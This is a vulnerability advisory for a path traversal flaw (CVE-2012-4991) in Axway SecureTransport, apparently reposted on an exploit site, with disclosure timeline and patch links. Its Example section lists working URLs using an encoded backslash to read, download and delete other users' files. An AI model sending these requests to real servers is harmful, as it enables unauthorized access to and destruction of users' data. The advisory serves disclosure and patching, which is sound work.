Axway Secure Transport 5.1 SP2 Path Traversal Vulnerability

Secure Transport Path Traversal Vulnerability
 
Public Disclosure Date:
November 11, 2012
 
Vendors Affected:
Axway
http://www.axway.com
 
Systems Affected:
Secure Transport
 
Problem:
A path traversal vulnerability was identified in SecureTransport versions 5.1 SP2 and earlier on the Microsoft Windows platform that could allow tampering and information disclosure. This vulnerability allows remote attackers to access other user's directories, and also to read, download, delete and upload arbitrary files. This can be performed using a encoded backslash characters (%5c) in the path.
  
Example:
To escape the lock home directory, use the following url
https://<<IP>>/..%5C
To get access to another user's home directory, use the following url
https://<<IP>>/..%5C<<Username>>
To read another user's file in his/her home directory, use the following url
https://<<IP>>/..%5C<<Username>>/file.txt?P
To download another user's file in his/her home directory, use the following url
https://<<IP>>/..%5C<<Username>>/file.txt?B
To delete another user's file in his/her home directory, use the following url
https://<<IP>>/..%5C<<Username>>/file.txt?D
To upload a file in other user's home directory just use the upload function
 
Vendor Status: Contacted on September 12, 2012
 
Informed: Contacted back on September 12, 2012
 
Contacted: Customer confirmed the vulnerability, and that this was solved on October 30, 2012
 
Patch Available:
For 4.9.2 sp2:
https://support.axway.com/en/downloads/download-details/id/35283
For 5.1 sp2:
https://support.axway.com/en/downloads/download-details/id/35957
 
CVE: CVE-2012-4991
 
CVSSv2 Score: 8.5
 
CVSSv2 Access Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:N)
 
Impact Type: Allows unauthorized disclosure and modification of information
 
Status: Fixed
 
Acknowledgment: Axway would like to acknowledge Sebastian Perez (@Seba_DTT), of Deloitte Argentina (www.deloitte.com/ar) and Deloitte Canada (www.deloitte.ca) for helping to identify this issue.
 
Related Links:
Deloitte Argentina
www.deloitte.com/ar
 
Vendor Product:
http://www.axway.com/products-solutions/mft/gateways/securetransport

#  0day.today [2018-04-09]  #